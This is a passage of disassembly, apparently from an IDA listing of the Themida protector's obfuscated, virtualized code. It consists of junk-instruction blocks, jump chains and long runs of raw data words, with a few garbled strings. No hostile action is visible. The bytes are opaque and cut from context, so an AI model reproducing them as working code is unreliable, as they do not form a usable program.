0CA010000h, 2FBE5659h, 0F7129A71h dd 33C681DEh, 0E9129A71h, 0FFFFB7BCh, 835FF801h, 48704E8h dd 0AAE95C24h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C463: ; CODE XREF: Themida_:0054D790j push ebx mov ebx, 20862799h push ebp mov ebp, 0DF79D86Bh add ebx, ebp pop ebp sub edx, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 xchg edx, [esp] pop esp mov [esp], ebp sub esp, 4 mov [esp], edi mov edi, 2EAA5BB2h mov ebp, 2EAA9BB2h sub ebp, edi jmp loc_54B8BE ; --------------------------------------------------------------------------- db 35h dd 77E42E88h, 0FFBAD6E9h, 36EB81FFh, 166BE94h, 0C2815BDAh dd 4, 31241433h, 14332414h, 1AFAE924h, 1C8B0000h, 4C48124h dd 0FF000000h, 515F2434h, 0C181E189h, 4, 4BE56h, 6BE90000h dd 4FFFFAAh, 0B3535B16h, 0B55166CEh, 80D5F613h, 48E978C5h dd 59FFFF85h, 2372B951h, 0D1F74132h, 8102E1C1h, 602F50F1h dd 0DA92E984h, 0E2DFFFFh, 8B378506h, 8952243Ch, 4C281E2h dd 83000000h, 148704C2h, 24248B24h, 405h, 24043300h, 3F8CE9h dd 81FD0100h, 5B5BD1C5h, 2C875F4Bh, 0EC815C24h, 4, 81241489h dd 4ECh, 240C8900h, 0E950515Ah, 0FFFFD4E1h, 2404FF66h dd 8018E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C572: ; CODE XREF: Themida_:0054DAAEj mov [esp], esi push 4 pop esi add ecx, esi jmp loc_55048B ; --------------------------------------------------------------------------- dw 0C89h dd 8038B524h, 0DDF66CEDh, 0F605EDC0h, 26ED80D5h, 1B39E9h dd 4028BE00h, 0E68153B7h, 1A1C5BE0h, 8107EEC1h, 36203DC6h dd 5EF03116h, 0FF9DFDE9h, 5E089FFh, 4, 75D968h, 241C8900h dd 64FD68h, 24348900h, 63767D68h, 24348B4Ah, 214CE9h, 4B720500h dd 34FF555Dh, 89515F24h, 2211E9E1h, 895A0000h, 0B6B0E9F9h dd 77FFFFFFh, 58669D1Ch, 24041966h, 7F88E99Ch, 0D001FFFFh dd 108685Ah, 1C890000h, 0ABF5724h, 57728A3Eh, 270CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C61A: ; CODE XREF: Themida_:0054B0D5j push 0A37h mov [esp], ebp push edx push 8A7h mov [esp], eax push 39F26856h jmp loc_54B5C0 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 243C895Ch, 0BF91E954h, 0F181FFFFh, 411B1895h, 876DE981h dd 0C83123A3h, 1570E959h, 52660000h, 0F02015B6h, 8E95A66h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C663: ; CODE XREF: Themida_:00549D74j sub edi, 75F7474Dh push dword ptr [esp] pop esi jmp loc_546B3E ; --------------------------------------------------------------------------- dw 5D68h dd 8900006Fh, 0BAB82404h, 0C10E601Ch, 0D6E904E8h db 3 dup(0) ; --------------------------------------------------------------------------- loc_54C687: ; CODE XREF: Themida_:00544A90j push ecx mov ecx, 0B15DC1EFh jmp loc_54EFD5 ; --------------------------------------------------------------------------- loc_54C692: ; CODE XREF: Themida_:0054CB55j xor ecx, 76713B51h and eax, ecx jmp loc_54DAF3 ; --------------------------------------------------------------------------- db 0B3h dd 66D9282Ah, 4EC835Bh, 52240489h, 0D488CA88h, 58E6885Ah dd 0E84EE959h, 6C68FFFFh, 0E900001Ah, 18B8h, 0E9240489h dd 0FFFF9C21h, 0FBE95266h, 66FFFF8Ch, 664707B8h, 5866C201h dd 0FFE114E9h, 15B951FFh, 0E96FDF06h, 0FFFFC429h, 0E932FF64h dd 1FCBh, 0E92434FFh, 0F41h, 8034B252h, 0EA8005E2h, 62B1511Ah dd 0E907E980h, 0FFFFFA35h, 4C681h, 9DE90000h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C71B: ; CODE XREF: Themida_:00544760j add ebx, 0F181FB1h sub esp, 4 mov [esp], ecx mov ecx, 3D3794B1h xor ebx, ecx jmp loc_545A3A ; --------------------------------------------------------------------------- loc_54C733: ; CODE XREF: Themida_:0054C356j push ebx mov ebx, 71631528h add ebx, 688D56D0h xor ebx, 763712C9h and ebx, 22D10028h add ebx, 34E242BDh inc ebx add ebx, 0CFE508A3h jmp loc_54E335 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0F6h dd 491D0418h, 5641D9F7h, 862F21BEh, 1EE8356h, 0B9B3C681h dd 0F1298D5Bh, 35D2055Eh, 0C801376Fh, 6F35D22Dh, 240C8B37h dd 0FFA5C1E9h, 4B8FFh, 0EA810000h, 46233E26h, 4E9C201h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C79F: ; CODE XREF: Themida_:005472BCj push eax jmp loc_54FA48 ; --------------------------------------------------------------------------- loc_54C7A5: ; CODE XREF: Themida_:00549CB1j inc ebx jmp loc_54FDB1 ; --------------------------------------------------------------------------- loc_54C7AB: ; CODE XREF: Themida_:00546FA0j push eax mov eax, 38B4885h sub ebp, eax pop eax shl ebp, 8 not ebp sub ebp, 0BCA1CDFBh jmp loc_54AB5D ; --------------------------------------------------------------------------- dd 0DF668h, 24148900h, 4B3FBB53h, 1BA4FDDh, 0E942FC2Bh dd 324Fh, 0E9242C8Bh, 0FFFFE2AFh, 4BFh, 0E9FB0100h, 0FFFFE5DEh dd 0A304C204h, 0B252C800h, 8BD028A3h, 0C4812414h, 4, 0E978B252h dd 0FFFFB9C7h, 4C48159h, 81000000h, 4C1h, 2C18300h, 4EC81h dd 0C890000h, 2474FF24h, 48F5904h, 4D35C24h, 53E99C24h dd 81FFFF7Dh, 4C4h, 8BD60100h, 0C4812414h, 4, 0E9243487h dd 0FFFFA6E0h, 24048B66h, 33F86855h, 8E90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C85F: ; CODE XREF: Themida_:0054AF87j push ebx mov ebx, 23994F6Fh inc ebx inc ebx shr ebx, 5 jmp loc_547317 ; --------------------------------------------------------------------------- db 81h dd 0F7FFF2C7h, 0E9FE89F3h, 0FFFF8972h, 5D2434FFh, 4904C483h dd 0C1D7E981h, 992D770Ah, 29164B3Eh, 5FB951C8h, 81461147h dd 7D03E6C1h, 83E18131h, 8130054Eh, 0B90B68E9h, 0D8E8E919h dd 0C680FFFFh, 3003B3CDh, 3FE95AF3h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C8BB: ; CODE XREF: Themida_:0054B3F9j neg ecx sub ecx, 0EEDEDF6Fh jmp loc_5480A4 ; --------------------------------------------------------------------------- dd 8B241487h, 0C0E92424h, 66FFFFF4h, 661ED968h, 52241C89h dd 0C6FE62B6h, 0C0D8CE80h, 0EEC007E6h, 0F8F68006h, 47E9F388h dd 2C000012h, 0C0C50CD6h, 690404E8h, 6608E8C0h, 0E0B25253h dd 79E9h, 242C8100h, 605F2811h, 582434FFh, 148B5452h, 12556824h dd 3C890000h, 0E9E78924h, 0FFFFDB00h, 0C181E189h, 4, 4C181h dd 0E9510000h, 1CB5h, 1FED68h, 24048900h, 0FF7C41E9h, 78E959FFh dd 0FFFFFF8Fh, 1C8B2434h, 4C48124h, 68000000h, 2498h, 89242C89h dd 4C581E5h, 0E9000000h, 2DEEh ; --------------------------------------------------------------------------- loc_54C970: ; CODE XREF: Themida_:00544B5Dj pop ecx mov eax, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_546E82 ; --------------------------------------------------------------------------- dw 0CA80h dd 80CAFE4Bh, 0CAFE94CAh, 8855C280h, 4B045AD7h, 0FFA22CE9h dd 0FC330FFh, 0A3E9C0B6h db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C9A3: ; CODE XREF: Themida_:0054B8B9j shl edx, 3 shr edx, 4 not edx dec edx sub edx, 4E515142h jmp loc_54E5A7 ; --------------------------------------------------------------------------- db 83h dd 0F00207Fh, 0FFD57384h, 525355FFh, 0E7100468h, 0D730E974h dd 0F181FFFFh, 7EB350FFh, 3CB5C981h, 49497B2Fh, 20ACE9h dd 2BE00h, 0F3010000h, 241C875Eh, 0F20E9h db 0 ; --------------------------------------------------------------------------- loc_54C9F1: ; CODE XREF: Themida_:00550668j mov eax, 4 add esi, eax pop eax sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi mov edi, 5B096549h and ebp, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_54B90B ; --------------------------------------------------------------------------- a1Hi3 db '1цh⌡3',0 dd 240C8900h, 2CB9h, 53E98100h, 1028364h, 6FE952F9h, 66FFFFC2h dd 59C80058h, 50A1B252h, 0DCF645B4h, 0FF956CE9h, 2474FFFFh dd 0B7A3E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA56: ; CODE XREF: Themida_:0054E30Aj dec edx shr edx, 6 xor edx, offset byte_5A6531 jmp $+5 and eax, edx jmp loc_545E05 ; --------------------------------------------------------------------------- dd 4EC81h, 8F540000h, 89512404h, 4C181E1h, 68000000h, 2E0Ch dd 0BB241C89h, 4, 4687E981h, 89E90200h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA97: ; CODE XREF: Themida_:00546DAAj mov ebp, [esp] push eax push esp pop eax add eax, 4 push ebp mov ebp, 4 jmp loc_54E8A6 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 76280CCBh, 0FF7D4CE9h, 5BDA28FFh, 148BD030h, 4C48324h dd 0E9AFB151h, 0FFFF7EF6h, 57CE981h, 0F1812426h, 8F48C68Ch dd 0FEEE9h, 0D831AD00h, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 68240C89h, 0BA35FB7h, 259BE959h, 0E9540000h, 1601h dd 170685Ah, 34890000h, 81E68924h, 4C6h, 4BB5300h, 1000000h dd 0F6EEE9DEh, 8B66FFFFh, 7CE9240Ch, 5CFFFFF8h, 6856C331h dd 4FFCh, 8B240489h, 0C4832434h, 33E95604h db 17h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CB43: ; CODE XREF: Themida_:0054A217j xor eax, 40802D85h push 516Bh mov [esp], ecx mov ecx, 74713B51h jmp loc_54C692 ; --------------------------------------------------------------------------- loc_54CB5A: ; CODE XREF: Themida_:00547312j mov eax, 4 jmp loc_54D2F0 ; --------------------------------------------------------------------------- dd 9FE95866h, 66FFFF87h, 0DA16E952h, 489FFFFh, 0E977B024h dd 0FFFF936Bh, 73736851h, 0EBE90000h, 9FFFFFFh, 65E91C5Fh dd 0B8000018h, 4F1D4D19h, 0D8F7D8F7h, 0FFE49CE9h, 75F781FFh dd 0C1E6A461h, 0E95208E7h, 2B4Ch, 0D3F6CBFEh, 0E9E1E380h dd 0FFFFFB14h, 0B3B75366h, 5B66FE28h, 285AF488h, 24048BE1h dd 4C481h, 75E90000h, 4000002h, 72E95BCEh, 5C00000Ch, 0BD242C89h dd 2, 2C8BEA29h, 4C48124h, 87000000h, 248B2414h, 4896624h dd 798CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CBFE: ; CODE XREF: Themida_:0054DB04j add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx push ebp push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_55038B push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 push 6C3h mov [esp], ecx sub esp, 4 mov [esp], esp jmp loc_544796 ; --------------------------------------------------------------------------- loc_54CC5B: ; CODE XREF: Themida_:0054F88Fj push edi mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 0DF02942h sub esp, 4 mov [esp], edi mov edi, 1B133173h or edi, 5E783C06h jmp loc_549464 ; --------------------------------------------------------------------------- loc_54CC88: ; CODE XREF: Themida_:00547AB0j mov esp, [esp] sub [esp], ax pushf jmp loc_54458A ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 3DE95324h, 4DFFFF83h, 6246ED81h, 0C5817AD3h, 25332BA5h dd 0D11E9h db 0 ; --------------------------------------------------------------------------- loc_54CCB1: ; CODE XREF: Themida_:0054DB91j push ecx jmp loc_54A409 ; --------------------------------------------------------------------------- db 51h dd 51EE9h, 4EC8100h, 89000000h, 1768241Ch, 89000022h, 0B8502434h dd 8EE5B58h, 8E39FF25h, 25E354Dh, 0E5054925h, 89CA7C56h dd 0E95658C6h, 19A4h, 8B240433h, 0E9F72424h, 427868h, 24348900h dd 0FFF54FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CD01: ; CODE XREF: Themida_:0054B530j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 400h mov edx, ecx push dword ptr [esp] mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_54F606 ; --------------------------------------------------------------------------- db 53h, 0BBh, 9Eh dd 123250Dh, 0C2815BDAh, 731207ACh, 0CEAEA81h, 0BF5729CDh dd 30F14801h, 4F0FCF81h, 0E957782Bh, 21BCh, 31240433h dd 4332404h, 24248B24h, 24043166h, 8D80E99Ch, 305AFFFFh dd 0C8B66C8h, 2C48324h, 0FF7C20E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CD75: ; CODE XREF: Themida_:0054F102j add edi, 4 jmp loc_544B13 ; --------------------------------------------------------------------------- loc_54CD80: ; CODE XREF: Themida_:00545BB3j mov [esp], edi mov edi, esp jmp loc_54E2A9 ; --------------------------------------------------------------------------- dw 0E95Dh dd 0FFFFD143h, 0ED4A06BBh, 5BD8290Eh, 762EBA52h, 0F281319Ch dd 4CEE3CF2h, 0E95AD001h, 0FFFFF331h, 52242C89h, 5C0A80BAh dd 5AD58956h, 0E5C1E5D1h, 2C58103h, 819A3F58h, 0CF214FC1h dd 55E9014Dh, 0A60D95BDh, 33B9E964h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CDD6: ; CODE XREF: Themida_:0054DEF8j pop esi jmp loc_54EEF6 ; --------------------------------------------------------------------------- aBu@5Hh db '│Н"@5╤hH\',0 dw 8900h dd 0AFBB241Ch, 526F5E10h, 8115FEBAh, 29A7E91Ah, 0EF010000h dd 5FF9315Dh, 108FE9h db 0 ; --------------------------------------------------------------------------- loc_54CE05: ; CODE XREF: Themida_:005494BDj mov eax, ebx mov ebx, [esp] add esp, 4 push esi mov esi, 7D966F87h jmp loc_54AAA9 ; --------------------------------------------------------------------------- dd 0FF776DE9h, 815D54FFh, 4C5h, 4EC8100h, 89000000h, 27B9240Ch dd 4935AA4Dh, 0E905E9C1h, 0FFFF785Dh, 962DF001h, 0E96D3D2Eh dd 0FFFFD149h, 34FFC830h, 46E95924h, 5AFFFF8Bh, 1EE94A42h dd 88000022h, 66E788FEh, 5E7C058h, 0E904E7C0h, 1CA5h, 241C8B66h dd 8904EC83h, 0E2892414h, 6579BD55h, 0ED814077h, 1DB40E6Ch dd 0BBF7E94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE8A: ; CODE XREF: Themida_:0054859Cj std push esi sub esp, 4 mov [esp], eax mov eax, 7F341C12h jmp loc_54FE61 ; --------------------------------------------------------------------------- loc_54CE9F: ; CODE XREF: Themida_:0054AA0Dj sub ebx, 442810C0h pop edx add ebx, edi jmp loc_54B570 ; --------------------------------------------------------------------------- loc_54CEAD: ; CODE XREF: Themida_:0054BDADj pop ebx add al, 0F9h add al, bl sub al, 0F9h push ecx mov cl, 0BEh add cl, 42h add al, 26h sub al, cl sub al, 26h pop ecx push edx push ebx mov bl, 0D4h mov dh, 0FAh xor dh, bl jmp loc_545D43 ; --------------------------------------------------------------------------- loc_54CECE: ; CODE XREF: Themida_:00546E90j dec edx and edx, 462942BEh add edx, 462915AEh jmp loc_545529 ; --------------------------------------------------------------------------- dd 0FF2434FFh, 68582434h, 1CECh, 68241C89h, 3F0Ah, 83242489h dd 8B042404h, 0C483241Ch, 894DE904h, 0AE25FFFFh, 0C1664933h dd 430505E0h, 0E9AEF88Ch, 0CF6h, 0F5E9D988h, 66FFFFE3h dd 9C2404D3h, 0FF7661E9h, 242C8BFFh, 81E28952h, 4C2h, 4C28300h dd 3490E9h, 66D00000h, 52E95B5Ah, 0E9FFFFFAh, 0FFFF763Eh ; --------------------------------------------------------------------------- loc_54CF4C: ; CODE XREF: Themida_:0054C280j pop esp jmp loc_54BFC7 ; --------------------------------------------------------------------------- dw 0C631h dd 0FF851AE9h, 50E389FFh, 10B5BB53h, 0B8500699h, 69910B1h dd 0F6E9C331h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF6F: ; CODE XREF: Themida_:0054B6BAj add eax, 4 xchg eax, [esp] mov esp, [esp] or eax, eax jz loc_54EFDD push dword ptr [edi+28h] mov eax, [esp] push edi push esp pop edi push 594h mov [esp], esi mov esi, 1EC6552Fh push edi jmp loc_54E40E ; --------------------------------------------------------------------------- loc_54CF9C: ; CODE XREF: Themida_:0054E16Fj push esi jmp loc_54C34D ; --------------------------------------------------------------------------- dw 8B66h dd 5257240Ch, 0B951E289h, 2E793A68h, 81D9F741h, 793A6DC1h dd 59CA012Eh, 0FF83E2E9h, 24248BFFh, 0FF75C1E9h, 4EC83FFh dd 0B8240489h, 52B95123h, 4244429h, 0FFBDF0E9h, 32CEB9FFh dd 0DDBF25FDh, 0E91FA9D9h, 0FFFF850Eh, 8107E2C1h, 269FE4C2h dd 7E2C11Ah, 82E9D2F7h, 81FFFF94h, 0FBA0AC2h, 5AD189FBh dd 0E959CE01h, 0FFFF9B12h, 582CB951h, 0E1D16FD5h, 8D1CF181h dd 0CD01EEA8h, 0F7D5F759h, 53CD81D5h, 8144732Bh, 0B00EB0F5h dd 8BE92981h, 0C481242Ch, 4, 8DBE95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D042: ; CODE XREF: Themida_:00546748j pop dword ptr [esp] pop esp mov [esp], eax mov eax, 4 and ecx, eax push dword ptr [esp] mov eax, [esp] jmp loc_54A0C1 ; --------------------------------------------------------------------------- db 89h dd 0E6892434h, 0FF8E93E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D065: ; CODE XREF: Themida_:0054A3D4j jmp loc_54458A ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 89241C89h, 6BE955E3h, 66FFFF80h, 41E95350h dd 2DFFFF8Fh, 295F6FC3h, 4805E8C1h, 6B209F2Dh, 58C10172h dd 0EDE9CB31h, 5BFFFFA0h, 0E958C100h, 0FFFF9D4Bh, 4C781h dd 0C7830000h, 243C8704h, 0F2E9515Ch db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D0BB: ; CODE XREF: Themida_:0054FA43j pop edx xchg esi, [esp] jmp loc_54FB90 ; --------------------------------------------------------------------------- dd 0C89665Ch, 0E7B45024h, 6606E4C0h, 0E9F7B252h, 0FFFF9D3Bh dd 0E9241C89h, 0FFFFBD1Bh, 24348B5Ah, 5304C483h, 0FFE1D7E9h dd 75EF81FFh, 152A16Ah, 1F77E9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D0FA: ; CODE XREF: Themida_:00547853j add ebp, ebx jmp loc_54B52F ; --------------------------------------------------------------------------- loc_54D101: ; CODE XREF: Themida_:00549E62j add esp, 4 sub ebx, 2B1A4DAEh add ebx, esi add ebx, 2B1A4DAEh pop esi and eax, ebx jmp loc_54BC26 ; --------------------------------------------------------------------------- db 81h, 0EDh, 0Ah dd 1322518h, 0DDE95DE8h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D12B: ; CODE XREF: Themida_:00545B41j mov ecx, [esp] add esp, 4 push ebx mov bh, 21h jmp loc_54EC25 ; --------------------------------------------------------------------------- dd 52A6B850h, 17E953B2h, 52FFFFD8h, 9B3D4BBAh, 5AD0891Ch dd 33B5E9h, 5BDA8900h, 5E08950h, 4, 28BCE9h db 0 ; --------------------------------------------------------------------------- loc_54D165: ; CODE XREF: Themida_:0054A885j pop ebx or eax, eax jmp loc_544EE2 ; --------------------------------------------------------------------------- aZRS db 'Z(пR╡≤',0 dd 0C8045AD0h, 0F618B252h, 80B353D2h, 2803EB80h, 0D0005BDAh dd 2434FF5Ah, 4C4815Ah, 66000000h, 2D1D6853h, 36E90000h dd 89FFFF74h, 268242Ch, 8B000000h, 0C481242Ch, 4, 9854DF2Dh dd 68E80158h, 59Dh, 0FFAF23E9h, 52C329FFh, 3957CFBAh, 503E686Dh dd 4890000h, 5D05B824h, 89E975CBh, 0B9FFFFCEh, 7CC743CFh dd 15CCE981h, 0CF8925FAh, 0FFA279E9h, 4C481FFh, 81000000h dd 5D7FC8EBh, 0DC52E959h, 5455FFFFh, 5D2434FFh, 0FF9AECE9h dd 346B68FFh, 815E1F72h, 4D1D50EEh, 81DEF739h, 1B1C30F6h dd 58F68130h, 895E7AFCh, 0E7815EF7h, 0EE54A16h, 6EE0F781h dd 4E97F70h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D237: ; CODE XREF: Themida_:0054D97Ej push 3096h jmp loc_54F277 ; --------------------------------------------------------------------------- loc_54D241: ; CODE XREF: Themida_:00549AB7j shr cl, 3 xor cl, 0D2h or cl, 9Bh jmp loc_5493C4 ; --------------------------------------------------------------------------- loc_54D24F: ; CODE XREF: Themida_:0054DDFFj mov eax, 75092057h jmp loc_545992 ; --------------------------------------------------------------------------- aSiIX0ss db 'S┬ц┬щ[X0ХИ/#',0 dw 8900h dd 4812424h, 424h, 0B9515D00h, 38E746E6h, 5219C181h, 0E9C103C9h dd 0A8C2E904h, 0C281FFFFh, 1F5CCBC6h, 1AE9D189h, 0BAFFFFECh dd 7AE00368h, 2277E9h, 81FB0100h, 0D87043EBh, 79C3815Fh dd 5F13F353h, 0FF7EF3E9h, 0BB1B9FFh, 0CE314BADh, 4E94E59h dd 51FFFFB7h, 4B9h, 0EDBB5300h, 0C151EA36h, 8EE908EBh dd 81FFFF9Ch, 556F08CFh, 0D2EF811Dh, 0C14EDB4Dh, 0EFC108E7h dd 9EF78104h, 0E953DF7Bh, 0FFFF7939h ; --------------------------------------------------------------------------- loc_54D2F0: ; CODE XREF: Themida_:0054CB5Fj add ecx, eax mov eax, [esp] add esp, 4 xor ecx, [esp] jmp loc_54B9DF ; --------------------------------------------------------------------------- dd 240C8B66h, 48CC68h, 24048900h, 0B9515854h, 69AD05F9h dd 4F17C981h, 0E1C14E75h, 0ECE98104h, 0E9FFD4FFh, 0FFFFDE3Ch dd 4C281h, 14870000h, 0B4685C24h, 89000078h, 56E9241Ch dd 0FFFFFF77h, 5A042474h, 0E924048Fh, 0A59h, 0E5280ABFh dd 4EFC16Ah, 0EFC1EFD1h, 20B95107h, 313BAE1Dh, 0B85059CFh dd 18D710Ah, 0AC5E1C2Dh, 58C70185h, 0AED6F781h, 0FB01ABD2h dd 0ECD1E95Fh, 74FFFFFFh, 64E90424h, 81FFFF8Ch, 0B8205DC7h dd 55D7F71Dh, 861A5BDh, 0D173E97Eh, 47BEFFFFh, 89000539h dd 0E8895EF5h, 55242C8Bh, 0C5815D54h, 4, 4BB53h, 92E90000h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D3BB: ; CODE XREF: Themida_:0054F5E9j add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] and eax, ebx mov ebx, [esp] jmp loc_549C6C ; --------------------------------------------------------------------------- dd 7FA9ED81h, 0E8896FFBh, 0C589555Dh, 8B5DEF89h, 0C4812404h dd 4, 3C8BFE01h, 4C48124h, 83000000h, 343302C6h, 0A4F0E924h dd 48FFFFFh, 24248B24h, 739B850h, 430D752Ah, 0F7021C7Fh dd 3CE405D8h, 0F9354F2Ch, 1840AFBh, 0FA3E9C3h, 6DB00000h dd 8058C730h, 5066BEE7h, 0F988CC88h, 5866E788h, 7C1E9h dd 240C8900h, 6163BE56h, 0C68159EFh, 0FFFFFFFFh, 8103EEC1h dd 47FFECEh, 0F6814E5Fh, 335DE52Eh, 0CBE9F189h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D463: ; CODE XREF: Themida_:00550045j sub esi, 4 xchg esi, [esp] jmp loc_5504B1 ; --------------------------------------------------------------------------- loc_54D46E: ; CODE XREF: Themida_:005447ADj pop ax movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- aAsg db 'aИ┐$',0 align 4 dd 0E45BB505h, 0E838E949h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D486: ; CODE XREF: Themida_:0054BD2Aj mov edi, [esp] add esp, 4 sub esp, 4 jmp loc_545390 ; --------------------------------------------------------------------------- db 1 dd 0BE2FE9D7h, 0E1C1FFFFh, 0A4F18108h, 81370E11h, 1110A3E9h dd 685152B3h, 5C9A730Fh, 3E9C159h, 2592C981h, 0F1810BC6h dd 0BD76FD7h, 159CA89h, 0E90A01FAh, 0FFFFC99Fh ; --------------------------------------------------------------------------- loc_54D4D0: ; CODE XREF: Themida_:00545AB3j xchg ebx, [esp] pop esp mov [esp], ebp sub esp, 4 jmp loc_54788C ; --------------------------------------------------------------------------- db 68h dd 56CC0895h, 83243C8Bh, 0E7C104C4h, 0ECCF8104h, 5357FB2Ch dd 0D1004FBBh, 88E94B68h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D4FF: ; CODE XREF: Themida_:0054A4A9j sub esp, 4 jmp loc_548251 ; --------------------------------------------------------------------------- loc_54D50A: ; CODE XREF: Themida_:0054C3A2j add al, 7 or bh, al pop eax xor bh, 11h jmp loc_54817E ; --------------------------------------------------------------------------- db 58h dd 922FE950h, 1F05FFFFh, 553FAF70h, 733268h, 243C8900h dd 48411BBFh, 8BFD891Bh, 0C481243Ch, 4, 0FFCC75E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D541: ; CODE XREF: Themida_:00544BF4j sub esi, 4 xchg esi, [esp] jmp loc_545DF4 ; --------------------------------------------------------------------------- loc_54D54F: ; CODE XREF: Themida_:00546A46j push dword ptr [esp] pop ebp push esi mov esi, esp add esi, 4 jmp loc_547EF7 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHyv db '$hyv',0 align 2 dw 0C89h dd 81E18924h, 4C1h, 2A7E6800h, 2DE90000h, 81FFFFF8h, 5F6CDCEEh dd 81C60108h, 5F6CDCC6h, 0CDB9E908h, 481FFFFh, 424h, 2434FF00h dd 0FFF26BE9h, 4C481FFh, 1000000h, 0BAEE81CEh, 595E724Bh dd 0FFBB4DE9h, 5AD189FFh, 0BEAE9h, 4EC8100h, 89000000h dd 2CE9243Ch db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D5CB: ; CODE XREF: Themida_:00544B76j shr eax, 12h xor eax, ecx push 302Bh mov [esp], eax xor [esp], edi xor edi, [esp] xor [esp], edi jmp loc_548022 ; --------------------------------------------------------------------------- dw 77FFh dd 58669D1Ch, 24041166h, 0F822E99Ch, 0B652FFFFh, 8BF788AAh dd 0C4812414h, 4, 2678E9h db 0 ; --------------------------------------------------------------------------- loc_54D609: ; CODE XREF: Themida_:005495FEj push ecx not dword ptr [esp] pop ecx push eax mov eax, 37A15179h inc eax jmp loc_547BEC ; --------------------------------------------------------------------------- dw 0F5B0h dd 8B66C330h, 0C4832404h, 0E9DD8802h, 0FFFFD71Dh, 83241C8Bh dd 0BE5604C4h, 6446148Ch, 0FF7209E9h, 2434FFFFh, 2243E9h dd 0F6FE3000h, 50FE86D7h, 0EC8051B4h, 0F6CCFEC4h, 84C480DCh dd 0EEE9E608h, 25000009h, 55601D6Eh, 0D0F7D8F7h, 27628305h dd 2DD0F77Eh, 1232277Dh, 0BA58C789h, 13F0544Bh, 815FFA31h dd 563D0BF2h, 0FFD12178h, 0F1E92434h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D68F: ; CODE XREF: Themida_:00550399j push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, 4 add esi, ecx push dword ptr [esp] pop ecx push 3DEEh mov [esp], ebp jmp loc_54B7CB ; --------------------------------------------------------------------------- db 1, 0F9h, 5Fh dd 2049E9h, 56685100h, 5966337Eh, 0C375E981h, 0C8894F7Ah dd 5AD00159h, 0FFE4AEE9h, 243C33FFh, 33243C31h, 0E95C243Ch dd 0FFFFB677h, 0BA60E953h, 685AFFFFh, 0A4Ah, 0FF240C89h dd 59042474h, 8B24048Fh, 7FE92424h, 5FFFF6Eh, 4, 405h dd 24048700h, 124248Bh, 696B05D8h, 0BDE936F9h, 80FFFF7Bh dd 0DD283CEBh, 4DC5805Bh, 0FF7BDAE9h, 3C77FFFFh, 0FFF88CE9h dd 4C483FFh, 6E28E381h, 0F3817533h, 22FF72DEh, 292EBD55h dd 42E9082Dh, 66FFFF9Fh, 0E924048Bh, 0FFFFFA9Eh, 24048B66h dd 0E9E08950h, 0FFFFF551h, 5EF78959h, 4FB668h, 243C8900h dd 1D5EE9h db 0 ; --------------------------------------------------------------------------- loc_54D77D: ; CODE XREF: Themida_:00544ED0j push eax mov eax, 44706D16h inc eax shl eax, 7 inc eax sub eax, 38368B7Dh add edx, eax pop eax jmp loc_54C463 ; --------------------------------------------------------------------------- loc_54D795: ; CODE XREF: Themida_:0054A1B1j add ebx, esi sub ebx, 66020637h mov esi, [esp] push esi push esp pop esi add esi, 4 jmp loc_545914 ; --------------------------------------------------------------------------- dw 0FF5Ch dd 0E99C240Ch, 0FFFF6DD2h, 8324048Bh, 685B04C4h, 3ABCh 